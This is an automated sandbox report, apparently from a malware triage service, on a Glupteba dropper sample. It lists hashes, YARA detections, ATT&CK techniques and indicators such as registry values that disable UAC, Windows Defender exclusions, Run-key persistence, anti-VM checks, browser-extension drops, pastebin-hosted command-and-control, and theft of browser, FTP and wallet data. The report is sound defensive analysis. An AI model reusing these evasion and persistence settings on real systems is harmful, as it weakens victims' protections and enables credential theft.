glupteba | 18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97

Analysis

max time kernel
300s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
04/05/2024, 22:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Size 390KB
Sample240504-19mmrsdb6y
SHA256 18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97
MD5 18b50c6016cd5d7ff2f01b71a5e3373b
SHA1 d62dc0a84e39a1fff24163153761c62a55ff30fe
SHA512 27e0017fa30a9322e71191b2c4954d1f55d8fe827f029092fa3bdd6a52e799bbb671a776c3596a1df02d8ebe660b2192f293cb67252ec289bbc99a8725ceaa19
SSDEEP 6144:LlEGEyWKpTlDB878Ed8nFO+tFXFBCorNVDq5GZJrtLK7BYY0g2wqS5e8x:KGEyWERrpdTjZDqeh2Beg28Tx
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba privateloader sectoprat zgrat discovery dropper evasion execution loader persistence rat rootkit spyware stealer themida trojan

Malware Config

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral2/memory/216-685-0x000001DE70260000-0x000001DE73B58000-memory.dmp	family_zgrat_v1
behavioral2/memory/216-691-0x000001DE76420000-0x000001DE76530000-memory.dmp	family_zgrat_v1
behavioral2/memory/216-698-0x000001DE75830000-0x000001DE75854000-memory.dmp	family_zgrat_v1

Detects Arechclient2 RAT 1 IoCs

Arechclient2.

resource	yara_rule
behavioral2/memory/1060-2081-0x0000000000900000-0x00000000009C6000-memory.dmp	MALWARE_Win_Arechclient

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 1 IoCs

resource	yara_rule
behavioral2/memory/3624-1431-0x0000000000400000-0x0000000002EE5000-memory.dmp	family_glupteba

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	8CvVQFPQfvUMVSEZ75XoxELg.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/1060-2081-0x0000000000900000-0x00000000009C6000-memory.dmp	family_sectoprat

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\mJfqt2DI6VflFiKsdKO0A7fN.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7gCW8vWWWK29HPkEFtVeb5yp.exe = "0"	7gCW8vWWWK29HPkEFtVeb5yp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\wZ9lwyypc2SisHH2cHQG9QdI.exe = "0"	wZ9lwyypc2SisHH2cHQG9QdI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\LdheNn4aaBVTsGzQyYgbhQup.exe = "0"	LdheNn4aaBVTsGzQyYgbhQup.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8CvVQFPQfvUMVSEZ75XoxELg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
100	3980	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5780	powershell.exe
5536	powershell.exe
5524	powershell.exe
656	powershell.exe
5948	powershell.exe
2108	powershell.exe
5488	powershell.exe
6096	powershell.exe
2812	powershell.exe
6008	powershell.exe
2612	powershell.exe
5644	powershell.exe
5760	powershell.exe
1644	powershell.exe
764	powershell.exe
5232	powershell.exe
5700	powershell.exe
3580	powershell.exe
4424	powershell.exe
688	powershell.exe
4636	powershell.exe
5040	powershell.exe
4260	powershell.exe
576	powershell.exe
2864	powershell.exe
3812	powershell.exe
204	powershell.EXE
1264	powershell.exe
1616	powershell.exe
2272	powershell.exe
5004	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5440	netsh.exe
5432	netsh.exe
5204	netsh.exe
3596	netsh.exe

Checks BIOS information in registry 2 TTPs 5 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8CvVQFPQfvUMVSEZ75XoxELg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8CvVQFPQfvUMVSEZ75XoxELg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	XgToBZh.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	ufCGhsm.exe

Drops startup file 9 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SLUFdhv5s1MfLtP8pRs1bv3J.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rovsZZrBrXZpdWK2UVr7Gmkp.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nye9Wdpf514gISGijNemKHdW.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\G9TRW9L30OcX2ZRmti6JgEOH.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rjDKNVOkytYsDYbkQClCLcVh.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwKCmQqzRdDj4Ueh3u167Mxz.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I3GqTQ0smWpqNyOpZNSoBvtJ.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DkK0h3JonSmsAoODYIcIeA8T.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\f4MtC6KKmRmX1P7hbLYQMtn9.bat	regasm.exe

Executes dropped EXE 25 IoCs

pid	Process
5028	IvDALicu2nrR94m7zQ2h9aIq.exe
3624	mJfqt2DI6VflFiKsdKO0A7fN.exe
3804	LdheNn4aaBVTsGzQyYgbhQup.exe
1116	7gCW8vWWWK29HPkEFtVeb5yp.exe
1304	wZ9lwyypc2SisHH2cHQG9QdI.exe
3064	2XhPC2FEFdRtYTskabEhLruQ.exe
3644	Install.exe
3972	8CvVQFPQfvUMVSEZ75XoxELg.exe
1000	Install.exe
3660	C0mcMFmIsEt8ivZRA1J6Xgon.exe
3364	Install.exe
4944	Install.exe
4464	u3vo.0.exe
1828	run.exe
2520	u3vo.3.exe
1624	XgToBZh.exe
2700	ufCGhsm.exe
5776	mJfqt2DI6VflFiKsdKO0A7fN.exe
5940	LdheNn4aaBVTsGzQyYgbhQup.exe
4416	7gCW8vWWWK29HPkEFtVeb5yp.exe
6020	wZ9lwyypc2SisHH2cHQG9QdI.exe
396	csrss.exe
5760	injector.exe
4548	windefender.exe
2964	windefender.exe

Loads dropped DLL 6 IoCs

pid	Process
1828	run.exe
1828	run.exe
1828	run.exe
3980	rundll32.exe
4464	u3vo.0.exe
4464	u3vo.0.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000700000001ac52-161.dat	themida
behavioral2/memory/3972-165-0x0000000140000000-0x0000000140897000-memory.dmp	themida
behavioral2/memory/3972-241-0x0000000140000000-0x0000000140897000-memory.dmp	themida

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\mJfqt2DI6VflFiKsdKO0A7fN.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7gCW8vWWWK29HPkEFtVeb5yp.exe = "0"	7gCW8vWWWK29HPkEFtVeb5yp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\LdheNn4aaBVTsGzQyYgbhQup.exe = "0"	LdheNn4aaBVTsGzQyYgbhQup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\wZ9lwyypc2SisHH2cHQG9QdI.exe = "0"	wZ9lwyypc2SisHH2cHQG9QdI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	mJfqt2DI6VflFiKsdKO0A7fN.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	LdheNn4aaBVTsGzQyYgbhQup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	7gCW8vWWWK29HPkEFtVeb5yp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	wZ9lwyypc2SisHH2cHQG9QdI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8CvVQFPQfvUMVSEZ75XoxELg.exe

Drops Chrome extension 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	XgToBZh.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	ufCGhsm.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	XgToBZh.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	ufCGhsm.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
4	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	api.myip.com
41	api.myip.com
42	ipinfo.io
43	ipinfo.io

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	ufCGhsm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_672E22BF4DD6902F7F85F941E23571DA	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	8CvVQFPQfvUMVSEZ75XoxELg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	8CvVQFPQfvUMVSEZ75XoxELg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_6E4381F77BE6F6EB436B295D285593C5	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_C66311BFC31F329FE5E6FBB46563B719	XgToBZh.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	8CvVQFPQfvUMVSEZ75XoxELg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_C66311BFC31F329FE5E6FBB46563B719	XgToBZh.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_672E22BF4DD6902F7F85F941E23571DA	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ufCGhsm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XgToBZh.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	8CvVQFPQfvUMVSEZ75XoxELg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_6E4381F77BE6F6EB436B295D285593C5	XgToBZh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3972	8CvVQFPQfvUMVSEZ75XoxELg.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4700 set thread context of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 1828 set thread context of 4748	1828	run.exe	255
PID 4748 set thread context of 1060	4748	cmd.exe	406

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	wZ9lwyypc2SisHH2cHQG9QdI.exe
File opened (read-only)	\??\VBoxMiniRdrDN	LdheNn4aaBVTsGzQyYgbhQup.exe
File opened (read-only)	\??\VBoxMiniRdrDN	mJfqt2DI6VflFiKsdKO0A7fN.exe
File opened (read-only)	\??\VBoxMiniRdrDN	7gCW8vWWWK29HPkEFtVeb5yp.exe

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ecOJmsgAHWlsC\HqLCKaz.dll	ufCGhsm.exe
File created	C:\Program Files (x86)\epoBtGYzqLvU2\kAoJFXCkiLaWQ.dll	ufCGhsm.exe
File created	C:\Program Files (x86)\ecOJmsgAHWlsC\GdHiTJC.dll	XgToBZh.exe
File created	C:\Program Files (x86)\ecOJmsgAHWlsC\NLhwqPX.xml	XgToBZh.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	XgToBZh.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	XgToBZh.exe
File created	C:\Program Files (x86)\zgoZGMcaU\FGnlMVU.xml	XgToBZh.exe
File created	C:\Program Files (x86)\qIYKRzUEasUn\ZUtpSdc.dll	XgToBZh.exe
File created	C:\Program Files (x86)\zgoZGMcaU\AJXkLW.dll	ufCGhsm.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	ufCGhsm.exe
File created	C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\CkRKtfq.xml	XgToBZh.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	XgToBZh.exe
File created	C:\Program Files (x86)\epoBtGYzqLvU2\nsuhQms.xml	XgToBZh.exe
File created	C:\Program Files (x86)\epoBtGYzqLvU2\pggsObv.xml	ufCGhsm.exe
File created	C:\Program Files (x86)\zgoZGMcaU\ojnBDAF.xml	ufCGhsm.exe
File created	C:\Program Files (x86)\ecOJmsgAHWlsC\NNCkOsD.xml	ufCGhsm.exe
File created	C:\Program Files (x86)\zgoZGMcaU\AavvBN.dll	XgToBZh.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	XgToBZh.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	XgToBZh.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	ufCGhsm.exe
File created	C:\Program Files (x86)\epoBtGYzqLvU2\KAlaRvCvWBgNc.dll	XgToBZh.exe
File created	C:\Program Files (x86)\qIYKRzUEasUn\YAkCLwd.dll	ufCGhsm.exe
File created	C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\czVcdnt.dll	XgToBZh.exe
File created	C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\lNcyrDP.dll	ufCGhsm.exe
